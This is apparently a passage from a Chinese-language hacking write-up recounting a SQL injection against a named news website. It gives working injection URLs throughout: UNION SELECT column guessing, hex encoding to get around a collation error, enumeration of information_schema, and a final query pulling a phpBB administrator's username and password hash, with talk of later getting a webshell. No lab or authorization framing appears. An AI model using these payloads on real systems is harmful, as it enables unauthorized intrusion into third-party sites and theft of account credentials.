错误提示是
you have an error in your sql syntax; check the manual that corresponds to your mysql server version for the right syntax to use near ''' at line 1
这个提示是很有玄机的,可以看到单引号没有转意,也就是说安全模式没有打开,这为我们后文得到webshell提供了机会。
下面猜字段吧,体力活的说
http://www.jay2u.com/jaynews/index.php?action=newsview&newsid=660%20%20and%201=2%20union%20select%201,2,3,4
提示
illegal mix of collations (latin1_swedish_ci,implicit) and (utf8_general_ci,implicit) for operation 'union'
看来是union 前后字符集不搭配,只好编码一下了,提交
http://www.jay2u.com/jaynews/index.php?action=newsview&newsid=660%20%20and%201=2%20union%20select%201,hex(table_schema),hex(table_name),hex(column_name)%20%20from%20information_schema.statistics/*
这次正常了,连上我自己的mysql,将16进制的编码还原
mysql> select 0x6a6179776562;
+----------------+
| 0x6a6179776562 |
+----------------+
| jayweb |
+----------------+
1 row in set (0.00 sec)
mysql> select 0x41646d696e5f4964;
+--------------------+
| 0x41646d696e5f4964 |
+--------------------+
| admin_id |
+--------------------+
1 row in set (0.00 sec)
mysql> select 0x61646d696e;
+--------------+
| 0x61646d696e |
+--------------+
| admin |
+--------------+
1 row in set (0.00 sec)
这里表名出来了,是admin,但是没有暴出密码字段名,我们可以通过使用limit语法逐个表和字段查询,但是数据库很多表的话,不晓得什么时候才能摸清楚。刚好网站上有个phpbb的论坛,还是通过跨库查论坛数据库吧。
看了下,管理员有一个admin一个webmater,看样子webmater比较活跃,就查他的密码了。
提交
http://www.jay2u.com/jaynews/index.php?action=newsview&newsid=660%20%20and%201=2%20union%20select%201,2,username,user_password%20%20from%20phpbb_users%20where%20user_id=66333